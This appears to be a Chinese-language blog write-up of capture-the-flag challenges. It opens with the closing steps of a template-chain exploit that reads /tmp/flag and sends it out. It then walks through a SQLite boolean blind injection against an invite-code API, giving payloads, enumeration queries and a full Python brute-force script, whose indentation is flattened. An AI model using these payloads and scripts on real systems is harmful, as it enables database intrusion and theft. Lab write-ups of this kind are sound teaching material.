  9. 再次触发模板链
  10. /tmp/flag 读取目标内容并外带回传

十四、结语

这题题名叫 记住我,也记住卷宗,其实取得很妙。

“记住我”是表层线索,它把你引到认证、会话、长期状态;“记住卷宗”是更深的一层,它提醒你去看那些被系统长期保留下来的归档逻辑、旧模板逻辑、兼容解析逻辑。

真正危险的,从来不只是一个登录框或一个 Cookie。真正危险的,是一个系统在长期演进中留下的那些“先别删,还得兼容”的角落。

而这道题最漂亮的地方,就在于它把这种工程现实,完整地翻译成了一条可以真正打通的利用链。


Flag

FLAG{71b70868-77e0-4efa-ab98-b8f9133d53f5}

邀请码说它知道

邀请码不会说话,但它会点头和摇头。你问的问题够巧,它就会慢慢把秘密“嗯嗯啊啊”出来。

重点查看前端 JS 调用的 /api/invite/check?code= 接口,这个接口存在 SQLite 布尔盲注;通过构造真假条件观察 valid=true/false 的变化,从 sqlite_master 枚举表结构,再利用 substr()length() 逐字符爆破数据库中的 flag。

一、题目初见

打开题目首页,页面本身相当克制,功能也很单一:输入一个邀请码,点击校验,前端会告诉我们邀请码是否有效。

这类页面的价值通常不在 UI,而在它背后的接口调用逻辑。因此第一步不是盲试输入,而是查看前端 JavaScript。

前端核心逻辑如下:

    form.addEventListener("submit", async (event) => {
      event.preventDefault();
      result.textContent = "Checking invite...";
      result.className = "result";

      const params = new URLSearchParams({ code: code.value });
      const response = await fetch(`/api/invite/check?${params.toString()}`);
      const data = await response.json();

      result.textContent = data.message;
      result.classList.add(data.valid ? "ok" : "no");
    });

可以看出,用户输入最终会进入:/api/invite/check?code=

接口响应类似:{"message":"Invite code was not found.","valid":false}

这里最关键的是:返回值里存在可观测的布尔量 valid。这意味着如果参数拼接进 SQL 语句中,我们就有机会把它变成一个“真假判断器”。


二、漏洞定位

根据题干提示,本题存在 SQLite 布尔盲注

也就是说,后端大概率存在类似这样的查询逻辑: SELECT * FROM partner_invites WHERE code = ‘<用户输入>’

如果输入未经安全处理,那么我们就能闭合原有字符串,并额外拼接布尔表达式。

验证思路

分别构造恒真和恒假的 payload: ‘ OR 1=1– ‘ OR 1=2–

测试结果:

  • code=' OR 1=1-- 时,接口返回 valid=true
  • code=' OR 1=2-- 时,接口返回 valid=false

这一步已经足够确认:

  1. 输入被拼接进了 SQL
  2. 注释符 -- 生效
  3. 我们可以稳定利用 valid 的真假回显做布尔盲注

三、为什么是 SQLite

题干已经点明是 SQLite,但从利用层面看,SQLite 也有非常鲜明的特征:

  • 可以通过 sqlite_master 枚举表结构
  • 支持 length()substr()unicode() 等函数
  • 可利用 pragma_table_info('table_name') 查看列信息

因此整道题的路线非常清晰:

  1. 用真假回显确认盲注成立
  2. sqlite_master 枚举表名
  3. 定位可疑表
  4. 枚举字段
  5. 爆出 flag

四、盲注利用链

1. 枚举表数量

布尔盲注的基本形式: ‘ OR ()–

例如判断表数量是否大于某个值: ‘ OR ((select count(*) from sqlite_master where type=’table’) > 3)–

配合二分法,可以快速得到数据库中表的数量。

最终枚举结果为: 5

2. 枚举表名

通过 limit 1 offset n 逐个读取表名:

    select name
    from sqlite_master
    where type='table'
    order by name
    limit 1 offset 0

再使用:

  • length((...)) 获取长度
  • unicode(substr((...), i, 1)) 获取第 i 个字符 ASCII/Unicode 值

最终得到表名:

    organizations
    partner_invites
    sqlite_sequence
    support_tickets
    workspace_secret_notes

看到 workspace_secret_notes 时,基本就已经有味道了。这个表名本身就像是在说:秘密在这里。


五、字段枚举

为了避免直接盲猜列名,可以继续利用 SQLite 的元信息:

select count(*) from pragma_table_info('workspace_secret_notes')

以及: select name from pragma_table_info('workspace_secret_notes') limit 1 offset n

最终得到字段如下:

    id
    org_id
    note_key
    note_value
    scope
    rotated_at

这时表结构已经十分明显:这是一个 键值配置表

于是进一步读取 note_key

    billing_rollout
    incident_room
    flag

当第三个键名直接叫 flag 时,这题已经进入收尾阶段。


六、提取 Flag

最后读取: select note_value from workspace_secret_notes where note_key=’flag’ limit 1

同样使用:

  • length()
  • substr()
  • unicode()
  • 二分法

逐字符爆破即可。

最终得到: FLAG{231f273b-3ba1-4345-ba71-0d500c7749ab}


七、完整利用脚本

下面给出一份实际可用的 Python 脚本。这个脚本包含:

  • 请求重试
  • 布尔判断
  • 数值二分
  • 文本逐字符读取
import requests
import time
import random
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry BASE = "http://8000-28fa6653-0087-4658-ad50-c79137139ddd.challenge.ctfplus.cn/api/invite/check" sess = requests.Session()
retry = Retry(
total=5,
connect=5,
read=5,
backoff_factor=0.5,
status_forcelist=[429, 500, 502, 503, 504],
allowed_methods=None,
)
sess.mount("http://", HTTPAdapter(max_retries=retry)) def req(cond: str) -> bool:
payload = f\"' OR ({cond})-- \"
for attempt in range(8):
try:
r = sess.get(BASE, params={"code": payload}, timeout=(15, 20))
r.raise_for_status()
return bool(r.json().get("valid"))
except Exception:
if attempt == 7:
raise
time.sleep(0.35 * (attempt + 1) + random.random() * 0.2) def num_equals(expr: str, n: int) -> bool:
return req(f"({expr})={n}") def num_gt(expr: str, n: int) -> bool:
return req(f"({expr})>{n}") def find_number(expr: str, lo: int = 0, hi: int = 256):
while lo < hi:
mid = (lo + hi) // 2
if num_gt(expr, mid):
lo = mid + 1
else:
hi = mid
if num_equals(expr, lo):
return lo
return None def dump_text(expr: str, max_len: int = 200) -> str:
ln = find_number(f"length(({expr}))", 0, max_len)
if ln is None:
return ""
out = []
for i in range(1, ln + 1):
code = find_number(f"unicode(substr(({expr}),{i},1))", 0, 126)
out.append(chr(code if code is not None else 63))
return "".join(out) if name == "main":
table_count = find_number("select count(*) from sqlite_master where type='table'", 0, 20)
print("[+] table_count =", table_count) for i in range(table_count): name = dump_text( f"select name from sqlite_master where type='table' order by name limit 1 offset {i}", 80, ) print(f"[+] table[{i}] =", name) col_count = find_number("select count(*) from pragma_table_info('workspace_secret_notes')", 0, 20) print("[+] column_count =", col_count) for i in range(col_count): col = dump_text( f"select name from pragma_table_info('workspace_secret_notes') limit 1 offset {i}", 80, ) print(f"[+] column[{i}] =", col) for i in range(3): key = dump_text( f"select note_key from workspace_secret_notes order by id limit 1 offset {i}", 80, ) print(f"[+] key[{i}] =", key) flag = dump_text( "select note_value from workspace_secret_notes where note_key='flag' limit 1", 200, ) print("[+] FLAG =", flag)

八、利用逻辑图

flowchart TD
    A["访问首页"] --> B["查看前端 JS"]
    B --> C["发现 /api/invite/check?code="]
    C --> D["构造真假 Payload"]
    D --> E["确认 SQLite 布尔盲注"]
    E --> F["枚举 sqlite_master 表名"]
    F --> G["定位 workspace_secret_notes"]
    G --> H["通过 pragma_table_info 枚举字段"]
    H --> I["发现 note_key / note_value"]
    I --> J["读取 note_key"]
    J --> K["发现 key = flag"]
    K --> L["读取 note_value"]
    L --> M["得到最终 Flag"]  

九、题目亮点

这题的设计其实很漂亮,主要漂亮在三个地方:

1. 回显极少,但信息足够

页面没有报错、没有详细提示、没有直接数据输出,只有一个轻描淡写的 valid=true/false。但对于盲注来说,这已经足够构成一个完整的信息通道。

2. 前端接口是唯一入口

题目没有把注入点写在明面上,而是要求选手从前端 JS 去理解真实的数据流。这一步很接近真实业务环境中的漏洞挖掘方式。

3. SQLite 利用链紧凑

sqlite_masterpragma_table_info(),再到 substr() / length() / unicode(),整个利用过程非常“SQLite 味”,适合作为一题高质量的数据库盲注练习题。


十、复盘与经验

这题最重要的经验有三点
  1. 盲注不一定需要报错和延时只要应用给出稳定的真假差异,就足够完成利用。
  2. 前端代码经常是最好的“接口文档”很多时候后端藏得很深,但前端会主动把接口路径、参数名、返回结构交代清楚。
  3. 遇到 SQLite 时,先想到 sqlite_master这是最自然、最高效的突破口。

最终答案

FLAG{231f273b-3ba1-4345-ba71-0d500c7749ab}
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇